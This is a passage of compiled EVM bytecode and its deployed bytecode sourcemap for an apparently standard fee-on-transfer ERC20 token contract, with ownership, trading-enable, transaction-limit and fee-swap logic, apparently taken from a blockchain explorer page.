fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f80600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016131dd96959493929190613780565b60606040518083038185885af11580156131f9573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061321e91906137f3565b5050505050565b5f808311829061326b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132629190613310565b60405180910390fd5b505f83856132799190613df6565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156132bd5780820151818401526020810190506132a2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6132e282613286565b6132ec8185613290565b93506132fc8185602086016132a0565b613305816132c8565b840191505092915050565b5f6020820190508181035f83015261332881846132d8565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61335982613330565b9050919050565b6133698161334f565b82525050565b5f6020820190506133825f830184613360565b92915050565b5f80fd5b6133958161334f565b811461339f575f80fd5b50565b5f813590506133b08161338c565b92915050565b5f819050919050565b6133c8816133b6565b81146133d2575f80fd5b50565b5f813590506133e3816133bf565b92915050565b5f80604083850312156133ff576133fe613388565b5b5f61340c858286016133a2565b925050602061341d858286016133d5565b9150509250929050565b5f8115159050919050565b61343b81613427565b82525050565b5f6020820190506134545f830184613432565b92915050565b5f819050919050565b5f61347d61347861347384613330565b61345a565b613330565b9050919050565b5f61348e82613463565b9050919050565b5f61349f82613484565b9050919050565b6134af81613495565b82525050565b5f6020820190506134c85f8301846134a6565b92915050565b6134d7816133b6565b82525050565b5f6020820190506134f05f8301846134ce565b92915050565b5f805f6060848603121561350d5761350c613388565b5b5f61351a868287016133a2565b935050602061352b868287016133a2565b925050604061353c868287016133d5565b9150509250925092565b5f60ff82169050919050565b61355b81613546565b82525050565b5f6020820190506135745f830184613552565b92915050565b5f6020828403121561358f5761358e613388565b5b5f61359c848285016133a2565b91505092915050565b5f6135af82613330565b9050919050565b6135bf816135a5565b82525050565b5f6020820190506135d85f8301846135b6565b92915050565b5f80604083850312156135f4576135f3613388565b5b5f613601858286016133a2565b9250506020613612858286016133a2565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061366057607f821691505b6020821081036136735761367261361c565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6136ad602083613290565b91506136b882613679565b602082019050919050565b5f6020820190508181035f8301526136da816136a1565b9050919050565b5f815190506136ef8161338c565b92915050565b5f6020828403121561370a57613709613388565b5b5f613717848285016136e1565b91505092915050565b5f6040820190506137335f830185613360565b6137406020830184613360565b9392505050565b5f819050919050565b5f61376a61376561376084613747565b61345a565b6133b6565b9050919050565b61377a81613750565b82525050565b5f60c0820190506137935f830189613360565b6137a060208301886134ce565b6137ad6040830187613771565b6137ba6060830186613771565b6137c76080830185613360565b6137d460a08301846134ce565b979650505050505050565b5f815190506137ed816133bf565b92915050565b5f805f6060848603121561380a57613809613388565b5b5f613817868287016137df565b9350506020613828868287016137df565b9250506040613839868287016137df565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61389d602683613290565b91506138a882613843565b604082019050919050565b5f6020820190508181035f8301526138ca81613891565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61392b602483613290565b9150613936826138d1565b604082019050919050565b5f6020820190508181035f8301526139588161391f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6139b9602283613290565b91506139c48261395f565b604082019050919050565b5f6020820190508181035f8301526139e6816139ad565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613a47602583613290565b9150613a52826139ed565b604082019050919050565b5f6020820190508181035f830152613a7481613a3b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613ad5602383613290565b9150613ae082613a7b565b604082019050919050565b5f6020820190508181035f830152613b0281613ac9565b9050919050565b7f54726164696e67206e6f7420656e61626c6564000000000000000000000000005f82015250565b5f613b3d601383613290565b9150613b4882613b09565b602082019050919050565b5f6020820190508181035f830152613b6a81613b31565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d6178545f8201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b5f613bcb602883613290565b9150613bd682613b71565b604082019050919050565b5f6020820190508181035f830152613bf881613bbf565b9050919050565b7f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c695f8201527f6d69742121000000000000000000000000000000000000000000000000000000602082015250565b5f613c59602583613290565b9150613c6482613bff565b604082019050919050565b5f6020820190508181035f830152613c8681613c4d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f613cc4826133b6565b9150613ccf836133b6565b9250828203905081811115613ce757613ce6613c8d565b5b92915050565b5f613cf7826133b6565b9150613d02836133b6565b9250828201905080821115613d1a57613d19613c8d565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613d54601b83613290565b9150613d5f82613d20565b602082019050919050565b5f6020820190508181035f830152613d8181613d48565b9050919050565b5f613d92826133b6565b9150613d9d836133b6565b9250828202613dab816133b6565b91508282048414831517613dc257613dc1613c8d565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613e00826133b6565b9150613e0b836133b6565b925082613e1b57613e1a613dc9565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613e80602183613290565b9150613e8b82613e26565b604082019050919050565b5f6020820190508181035f830152613ead81613e74565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613f408161334f565b82525050565b5f613f518383613f37565b60208301905092915050565b5f602082019050919050565b5f613f7382613f0e565b613f7d8185613f18565b9350613f8883613f28565b805f5b83811015613fb8578151613f9f8882613f46565b9750613faa83613f5d565b925050600181019050613f8b565b5085935050505092915050565b5f60a082019050613fd85f8301886134ce565b613fe56020830187613771565b8181036040830152613ff78186613f69565b90506140066060830185613360565b61401360808301846134ce565b9695505050505050565b5f6040820190506140305f8301856134ce565b81810360208301526140428184613f69565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205e1573fe5866246b2a88310c464f85831f29ccc371d042975a4e00d7791ba0ac64736f6c63430008140033
Deployed Bytecode Sourcemap
11525:12807:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14949:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11852:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16115:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13194:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15226:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12603:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17677:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12036:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16629:156;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15135:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15612:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12344:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13311:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12253:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12737:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24241:82;;;;;;;;;;;;;:::i;:::-;;12288:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13117:66;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15334:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3202:230;;;;;;;;;;;;;:::i;:::-;;24101:128;;;;;;;;;;;;;:::i;:::-;;13048:61;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12857:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13454:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12651:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12462:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2977:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15040:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11752:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11940:89;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15838:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12971:68;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13242:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16972:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12561:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12694:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11791:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13358:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12519:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15461:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21902:735;;;:::i;:::-;;12818:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3440:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12782:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13412:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12402:53;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14949:83;14986:13;15019:5;15012:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14949:83;:::o;11852:81::-;;;:::o;16115:161::-;16190:4;16207:39;16216:12;:10;:12::i;:::-;16230:7;16239:6;16207:8;:39::i;:::-;16264:4;16257:11;;16115:161;;;;:::o;13194:41::-;;;;;;;;;;;;;:::o;15226:100::-;15279:7;15306:12;;15299:19;;15226:100;:::o;12603:35::-;;;;:::o;17677:313::-;17775:4;17792:36;17802:6;17810:9;17821:6;17792:9;:36::i;:::-;;17839:121;17848:6;17856:12;:10;:12::i;:::-;17870:89;17908:6;17870:89;;;;;;;;;;;;;;;;;:11;:19;17882:6;17870:19;;;;;;;;;;;;;;;:33;17890:12;:10;:12::i;:::-;17870:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;17839:8;:121::i;:::-;17978:4;17971:11;;17677:313;;;;;:::o;12036:81::-;;;:::o;16629:156::-;16682:7;16709:68;16754:22;16764:11;16754:9;:22::i;:::-;16709:40;16726:22;16736:11;16726:9;:22::i;:::-;16709:12;;:16;;:40;;;;:::i;:::-;:44;;:68;;;;:::i;:::-;16702:75;;16629:156;:::o;15135:83::-;15176:5;15201:9;;;;;;;;;;;15194:16;;15135:83;:::o;15612:218::-;15700:4;15717:83;15726:12;:10;:12::i;:::-;15740:7;15749:50;15788:10;15749:11;:25;15761:12;:10;:12::i;:::-;15749:25;;;;;;;;;;;;;;;:34;15775:7;15749:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;15717:8;:83::i;:::-;15818:4;15811:11;;15612:218;;;;:::o;12344:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;13311:40::-;;;;;;;;;;;;;:::o;12253:26::-;;;;;;;;;;;;;:::o;12737:36::-;;;;:::o;24241:82::-;3121:12;:10;:12::i;:::-;3111:22;;:6;;;;;;;;;;:22;;;3103:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;24311:4:::1;24294:14;;:21;;;;;;;;;;;;;;;;;;24241:82::o:0;12288:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;13117:66::-;;;;:::o;15334:119::-;15400:7;15427:9;:18;15437:7;15427:18;;;;;;;;;;;;;;;;15420:25;;15334:119;;;:::o;3202:230::-;3121:12;:10;:12::i;:::-;3111:22;;:6;;;;;;;;;;:22;;;3103:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3309:42:::1;3272:81;;3293:6;::::0;::::1;;;;;;;;3272:81;;;;;;;;;;;;3381:42;3364:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;3202:230::o:0;24101:128::-;3121:12;:10;:12::i;:::-;3111:22;;:6;;;;;;;;;;:22;;;3103:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;24167:12:::1;;24152;:27;;;;24209:12;;24190:16;:31;;;;24101:128::o:0;13048:61::-;;;;:::o;12857:33::-;;;;:::o;13454:41::-;;;;;;;;;;;;;:::o;12651:36::-;;;;:::o;12462:48::-;;;;;;;;;;;;;;;;;;;;;;:::o;2977:79::-;3015:7;3042:6;;;;;;;;;;;3035:13;;2977:79;:::o;15040:87::-;15079:13;15112:7;15105:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15040:87;:::o;11752:32::-;;;;;;;;;;;;;:::o;11940:89::-;;;;;;;;;;;;;:::o;15838:269::-;15931:4;15948:129;15957:12;:10;:12::i;:::-;15971:7;15980:96;16019:15;15980:96;;;;;;;;;;;;;;;;;:11;:25;15992:12;:10;:12::i;:::-;15980:25;;;;;;;;;;;;;;;:34;16006:7;15980:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;15948:8;:129::i;:::-;16095:4;16088:11;;15838:269;;;;:::o;12971:68::-;;;;:::o;13242:26::-;;;;;;;;;;;;;:::o;16972:167::-;17050:4;17067:42;17077:12;:10;:12::i;:::-;17091:9;17102:6;17067:9;:42::i;:::-;;17127:4;17120:11;;16972:167;;;;:::o;12561:35::-;;;;:::o;12694:36::-;;;;:::o;11791:54::-;;;;;;;;;;;;;:::o;13358:45::-;;;;;;;;;;;;;:::o;12519:35::-;;;;:::o;15461:143::-;15542:7;15569:11;:18;15581:5;15569:18;;;;;;;;;;;;;;;:27;15588:7;15569:27;;;;;;;;;;;;;;;;15562:34;;15461:143;;;;:::o;21902:735::-;3121:12;:10;:12::i;:::-;3111:22;;:6;;;;;;;;;;:22;;;3103:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;21960:35:::1;22017:42;21960:100;;22104:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22086:56;;;22151:4;22158:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22086:96;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;22072:11;;:110;;;;;;;;;;;;;;;;;;22211:16;22193:15;;:34;;;;;;;;;;;;;;;;;;22302:1;22293:11;22238;:26;22258:4;22238:26;;;;;;;;;;;;;;;:52;22273:15;;;;;;;;;;;22238:52;;;;;;;;;;;;;;;:66;;;;22345:4;22317:12;:25;22330:11;;;;;;;;;;;22317:25;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;22396:4;22360:20;:33;22381:11;;;;;;;;;;;22360:33;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;22442:4;22411:15;:28;22427:11;;;;;;;;;;;22411:28;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;22487:10;22459:17;;:39;;;;;;;;;;;;;;;;;;22509:15;;;;;;;;;;;:31;;;22548:9;22567:4;22573:24;22591:4;22573:9;:24::i;:::-;22598:1;22600::::0;22602:10:::1;22613:15;22509:120;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;21949:688;21902:735::o:0;12818:32::-;;;;:::o;3440:244::-;3121:12;:10;:12::i;:::-;3111:22;;:6;;;;;;;;;;:22;;;3103:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3549:1:::1;3529:22;;:8;:22;;::::0;3521:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3639:8;3610:38;;3631:6;::::0;::::1;;;;;;;;3610:38;;;;;;;;;;;;3668:8;3659:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3440:244:::0;:::o;12782:27::-;;;;:::o;13412:35::-;;;;;;;;;;;;;:::o;12402:53::-;;;;;;;;;;;;;;;;;;;;;;:::o;187:115::-;240:15;283:10;268:26;;187:115;:::o;16284:337::-;16394:1;16377:19;;:5;:19;;;16369:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16475:1;16456:21;;:7;:21;;;16448:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16559:6;16529:11;:18;16541:5;16529:18;;;;;;;;;;;;;;;:27;16548:7;16529:27;;;;;;;;;;;;;;;:36;;;;16597:7;16581:32;;16590:5;16581:32;;;16606:6;16581:32;;;;;;:::i;:::-;;;;;;;;16284:337;;;:::o;19966:1929::-;20053:4;20096:1;20078:20;;:6;:20;;;20070:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;20180:1;20159:23;;:9;:23;;;20151:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;20240:16;:24;20257:6;20240:24;;;;;;;;;;;;;;;;;;;;;;;;;20239:25;:57;;;;;20269:16;:27;20286:9;20269:27;;;;;;;;;;;;;;;;;;;;;;;;;20268:28;20239:57;20235:136;;;20321:14;;;;;;;;;;;20313:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;20235:136;20386:16;:24;20403:6;20386:24;;;;;;;;;;;;;;;;;;;;;;;;;:55;;;;20414:16;:27;20431:9;20414:27;;;;;;;;;;;;;;;;;;;;;;;;;20386:55;20383:1505;;;20466:86;20481:6;20489:9;20500:6;20508:31;20521:6;20529:9;20508:12;:31::i;:::-;:43;;20545:6;20508:43;;;20541:1;20508:43;20466:14;:86::i;:::-;20459:93;;;;20383:1505;20592:15;:23;20608:6;20592:23;;;;;;;;;;;;;;;;;;;;;;;;;20591:24;:55;;;;;20620:15;:26;20636:9;20620:26;;;;;;;;;;;;;;;;;;;;;;;;;20619:27;20591:55;:81;;;;;20650:22;;;;;;;;;;;20591:81;20588:196;;;20711:12;;20701:6;:22;;20693:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;20588:196;20800:28;20831:24;20849:4;20831:9;:24::i;:::-;20800:55;;20870:28;20925:20;;20901;:44;;20870:75;;20966:23;:44;;;;;20994:16;;;;;;;;;;;20993:17;20966:44;:69;;;;;21015:12;:20;21028:6;21015:20;;;;;;;;;;;;;;;;;;;;;;;;;21014:21;20966:69;:94;;;;;21039:21;;;;;;;;;;;20966:94;20962:302;;;21098:25;;;;;;;;;;;21095:94;;;21169:20;;21146:43;;21095:94;21208:36;21223:20;21208:14;:36::i;:::-;20962:302;21300:53;21322:6;21300:53;;;;;;;;;;;;;;;;;:9;:17;21310:6;21300:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;21280:9;:17;21290:6;21280:17;;;;;;;;;;;;;;;:73;;;;21370:19;21393:16;:24;21410:6;21393:24;;;;;;;;;;;;;;;;;;;;;;;;;:55;;;;21421:16;:27;21438:9;21421:27;;;;;;;;;;;;;;;;;;;;;;;;;21393:55;21392:103;;21461:34;21469:6;21477:9;21488:6;21461:7;:34::i;:::-;21392:103;;;21452:6;21392:103;21370:125;;21515:16;;;;;;;;;;;:52;;;;;21536:20;:31;21557:9;21536:31;;;;;;;;;;;;;;;;;;;;;;;;;21535:32;21515:52;21512:198;;;21637:16;;21596:37;21621:11;21596:20;21606:9;21596;:20::i;:::-;:24;;:37;;;;:::i;:::-;:57;;21588:106;;;;;;;;;;;;:::i;:::-;;;;;;;;;21512:198;21749:37;21774:11;21749:9;:20;21759:9;21749:20;;;;;;;;;;;;;;;;:24;;:37;;;;:::i;:::-;21726:9;:20;21736:9;21726:20;;;;;;;;;;;;;;;:60;;;;21825:9;21808:40;;21817:6;21808:40;;;21836:11;21808:40;;;;;;:::i;:::-;;;;;;;;21872:4;21865:11;;;;;19966:1929;;;;;;:::o;1462:192::-;1548:7;1581:1;1576;:6;;1584:12;1568:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1608:9;1624:1;1620;:5;;;;:::i;:::-;1608:17;;1645:1;1638:8;;;1462:192;;;;;:::o;1318:136::-;1376:7;1403:43;1407:1;1410;1403:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1396:50;;1318:136;;;;:::o;1129:181::-;1187:7;1207:9;1223:1;1219;:5;;;;:::i;:::-;1207:17;;1248:1;1243;:6;;1235:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1301:1;1294:8;;;1129:181;;;;:::o;17998:266::-;18078:4;18115:11;;;;;;;;;;;18102:24;;:9;:24;;;:68;;;;;18158:12;;;;;;;;;;;18148:22;;:6;:22;;;18102:68;:110;;;;;18210:1;18192:20;;:6;:20;;;;18102:110;:154;;;;;18254:1;18234:22;;:9;:22;;;;18102:154;18095:161;;17998:266;;;;:::o;19578:382::-;19688:4;19725:54;19747:7;19725:54;;;;;;;;;;;;;;;;;:9;:17;19735:6;19725:17;;;;;;;;;;;;;;;;:21;;:54;;;;;:::i;:::-;19705:9;:17;19715:6;19705:17;;;;;;;;;;;;;;;:74;;;;19813:32;19838:6;19813:9;:20;19823:9;19813:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;19790:9;:20;19800:9;19790:20;;;;;;;;;;;;;;;:55;;;;19862:1;19851:7;:12;19847:32;;19876:3;19865:8;:14;;;;19847:32;19912:9;19895:35;;19904:6;19895:35;;;19923:6;19895:35;;;;;;:::i;:::-;;;;;;;;19948:4;19941:11;;19578:382;;;;;;:::o;22643:1452::-;13939:4;13920:16;;:23;;;;;;;;;;;;;;;;;;22715:19:::1;22737:41;22759:18;;22737:17;;:21;;:41;;;;:::i;:::-;22715:63;;22791:22;22816:39;22837:17;;22816:16;;:20;;:39;;;;:::i;:::-;22791:64;;22866:22;22891:39;22912:17;;22891:16;;:20;;:39;;;;:::i;:::-;22866:64;;23029:18;23050:51;23099:1;23050:44;23082:11;23050:27;23062:14;23050:7;:11;;:27;;;;:::i;:::-;:31;;:44;;;;:::i;:::-;:48;;:51;;;;:::i;:::-;23029:72;;23112:20;23135:23;23147:10;23135:7;:11;;:23;;;;:::i;:::-;23112:46;;23171:22;23197:21;23171:47;;23229:30;23246:12;23229:16;:30::i;:::-;23270:23;23297:41;23323:14;23297:21;:25;;:41;;;;:::i;:::-;23270:68;;23351:19;23373:38;23389:21;23408:1;23389:14;:18;;:21;;;;:::i;:::-;23373:11;:15;;:38;;;;:::i;:::-;23351:60;;23424:26;23453:59;23510:1;23453:52;23493:11;23453:35;23473:14;23453:15;:19;;:35;;;;:::i;:::-;:39;;:52;;;;:::i;:::-;:56;;:59;;;;:::i;:::-;23424:88;;23523:26;23552:66;23606:11;23552:49;23572:28;23591:8;;23572:14;:18;;:28;;;;:::i;:::-;23552:15;:19;;:49;;;;:::i;:::-;:53;;:66;;;;:::i;:::-;23523:95;;23629:26;23658:63;23702:18;23658:39;23678:18;23658:15;:19;;:39;;;;:::i;:::-;:43;;:63;;;;:::i;:::-;23629:92;;23758:1;23737:18;:22;23734:101;;;23784:9;;;;;;;;;;;23776:27;;:47;23804:18;23776:47;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;23734:101;23871:1;23850:18;:22;23847:104;;;23897:12;;;;;;;;;;;23889:30;;:50;23920:18;23889:50;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;23847:104;23996:1;23975:18;:22;:40;;;;;24014:1;24001:10;:14;23975:40;23972:116;;;24032:44;24045:10;24057:18;24032:12;:44::i;:::-;23972:116;22704:1391;;;;;;;;;;;13985:5:::0;13966:16;;:24;;;;;;;;;;;;;;;;;;22643:1452;:::o;18271:612::-;18357:7;18377:17;18397:1;18377:21;;18422:12;:20;18435:6;18422:20;;;;;;;;;;;;;;;;;;;;;;;;;18419:223;;;18471:38;18505:3;18471:29;18482:17;;18471:6;:10;;:29;;;;:::i;:::-;:33;;:38;;;;:::i;:::-;18459:50;;18419:223;;;18539:12;:23;18552:9;18539:23;;;;;;;;;;;;;;;;;;;;;;;;;18536:106;;;18591:39;18626:3;18591:30;18602:18;;18591:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;18579:51;;18536:106;18419:223;18677:1;18665:9;:13;18662:173;;;18722:39;18751:9;18722;:24;18740:4;18722:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;18695:9;:24;18713:4;18695:24;;;;;;;;;;;;;;;:66;;;;18806:4;18781:42;;18790:6;18781:42;;;18813:9;18781:42;;;;;;:::i;:::-;;;;;;;;18662:173;18854:21;18865:9;18854:6;:10;;:21;;;;:::i;:::-;18847:28;;;18271:612;;;;;:::o;1662:250::-;1720:7;1749:1;1744;:6;1740:47;;1774:1;1767:8;;;;1740:47;1799:9;1815:1;1811;:5;;;;:::i;:::-;1799:17;;1844:1;1839;1835;:5;;;;:::i;:::-;:10;1827:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1903:1;1896:8;;;1662:250;;;;;:::o;1920:132::-;1978:7;2005:39;2009:1;2012;2005:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1998:46;;1920:132;;;;:::o;18897:666::-;19023:21;19061:1;19047:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19023:40;;19092:4;19074;19079:1;19074:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;19118:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19108:4;19113:1;19108:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;19153:62;19170:4;19185:15;;;;;;;;;;;19203:11;19153:8;:62::i;:::-;19254:15;;;;;;;;;;;:66;;;19335:11;19361:1;19405:4;19432;19468:15;19254:240;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19520:35;19537:11;19550:4;19520:35;;;;;;;:::i;:::-;;;;;;;;18952:611;18897:666;:::o;17146:523::-;17294:62;17311:4;17326:15;;;;;;;;;;;17344:11;17294:8;:62::i;:::-;17399:15;;;;;;;;;;;:31;;;17438:9;17471:4;17491:11;17517:1;17560;17603:17;;;;;;;;;;;17635:15;17399:262;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;17146:523;;:::o;2060:278::-;2146:7;2178:1;2174;:5;2181:12;2166:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2205:9